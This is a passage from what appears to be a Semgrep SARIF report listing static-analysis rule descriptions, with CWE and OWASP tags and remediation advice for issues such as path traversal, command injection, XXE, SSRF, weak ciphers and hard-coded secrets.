path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","id":"python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","name":"python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"help":{"markdown":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-system-call.dangerous-system-call)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-system-call.dangerous-system-call","id":"python.lang.security.dangerous-system-call.dangerous-system-call","name":"python.lang.security.dangerous-system-call.dangerous-system-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-system-call.dangerous-system-call"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","id":"kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","name":"kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","id":"terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","name":"terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"help":{"markdown":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.ecb-cipher.ecb-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.ecb-cipher.ecb-cipher","id":"kotlin.lang.security.ecb-cipher.ecb-cipher","name":"kotlin.lang.security.ecb-cipher.ecb-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.ecb-cipher.ecb-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.file.fs-extra-express.fs-extra-express)\n - [https://github.com/jprichardson/node-fs-extra/tree/master](https://github.com/jprichardson/node-fs-extra/tree/master)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.file.fs-extra-express.fs-extra-express","id":"javascript.express.file.fs-extra-express.fs-extra-express","name":"javascript.express.file.fs-extra-express.fs-extra-express","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.file.fs-extra-express.fs-extra-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead."},"help":{"markdown":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.spawn-shell-true.spawn-shell-true)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","id":"javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","name":"javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.spawn-shell-true.spawn-shell-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'."},"help":{"markdown":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode)\n","text":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","id":"ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","name":"ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`."},"help":{"markdown":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","id":"terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","name":"terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD"},"help":{"markdown":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.flask-api-method-string-format.flask-api-method-string-format)\n - [https://cwe.mitre.org/data/definitions/134.html](https://cwe.mitre.org/data/definitions/134.html)\n","text":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD"},"helpUri":"https://semgrep.dev/r/python.flask.security.flask-api-method-string-format.flask-api-method-string-format","id":"python.flask.security.flask-api-method-string-format.flask-api-method-string-format","name":"python.flask.security.flask-api-method-string-format.flask-api-method-string-format","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.flask-api-method-string-format.flask-api-method-string-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","id":"python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","name":"python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.tainted-url-host.tainted-url-host","id":"python.flask.security.injection.tainted-url-host.tainted-url-host","name":"python.flask.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"MailChimp API Key detected"},"help":{"markdown":"MailChimp API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"MailChimp API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","id":"generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","name":"generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.webservice-ssrf.webservice-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://www.playframework.com/documentation/2.8.x/ScalaWS](https://www.playframework.com/documentation/2.8.x/ScalaWS)\n","text":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.play.security.webservice-ssrf.webservice-ssrf","id":"scala.play.security.webservice-ssrf.webservice-ssrf","name":"scala.play.security.webservice-ssrf.webservice-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.webservice-ssrf.webservice-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-code-exec.tainted-code-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-code-exec.tainted-code-exec","id":"python.aws-lambda.security.tainted-code-exec.tainted-code-exec","name":"python.aws-lambda.security.tainted-code-exec.tainted-code-exec","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-code-exec.tainted-code-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","id":"python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","name":"python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"help":{"markdown":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request)\n - [https://docs.ruby-lang.org/en/2.0.0/Net/FTP.html](https://docs.ruby-lang.org/en/2.0.0/Net/FTP.html)\n","text":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`."},"help":{"markdown":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find)\n - [https://brakemanscanner.org/docs/warning_types/unscoped_find/](https://brakemanscanner.org/docs/warning_types/unscoped_find/)\n - 